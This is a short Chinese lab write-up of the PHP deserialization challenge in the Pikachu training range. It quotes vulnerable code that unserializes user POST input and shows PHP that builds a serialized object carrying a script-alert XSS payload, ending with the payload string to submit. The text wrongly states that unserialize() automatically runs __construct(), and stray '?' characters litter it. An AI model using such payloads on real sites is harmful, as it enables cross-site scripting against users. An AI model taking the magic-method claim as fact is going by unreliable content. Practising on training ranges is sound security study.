pikachu靶場PHP反序列化漏洞
源碼分析
查看源代碼
class S{var $test = "pikachu";function __construct(){echo $this->test;}
}//?O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){$s = $_POST['o'];if(!@$unser = unserialize($s)){$html.="<p>大兄弟,來點勁爆點兒的!</p>";}else{$html.="<p>{$unser->test}</p>";}}
- $s?接受上傳的參數
$s = $_POST['o'];
- 判斷是否能夠被反序列化,即上傳的參數是否經過序列化
if(!@$unser = unserialize($s))
- 如果上傳的序列化后的參數,將上傳的數據反序列化后,自動執行魔術方法?__construct()?,$unser->test?用來輸出反序列化后的對象的?test?屬性的值到頁面上
構造payload
<?php
class S{var $test = "<script>alert(/zs/)</script>";
}//?創建一個對象$s = new S();//把這個對象進行序列號輸出print_r(serialize($s));
?>
在瀏覽器訪問后,發現?直接彈出一個提示框,是因為瀏覽器識別到?<script>標簽?然后直接執行了,
可以把?<script>?標簽的?<?用一個占位符代替,比如用?*?代替,代碼如下
<?php
class S{var $test = "*script>alert(/zs/)*/script>";
}//?創建一個對象$s = new S();//把這個對象進行序列號輸出print_r(serialize($s));
?>
然后講?*?替換回?<??
O:1:"S":1:{s:4:"test";s:28:"<script>alert(/zs/)</script>";}
然后提交執行
完成!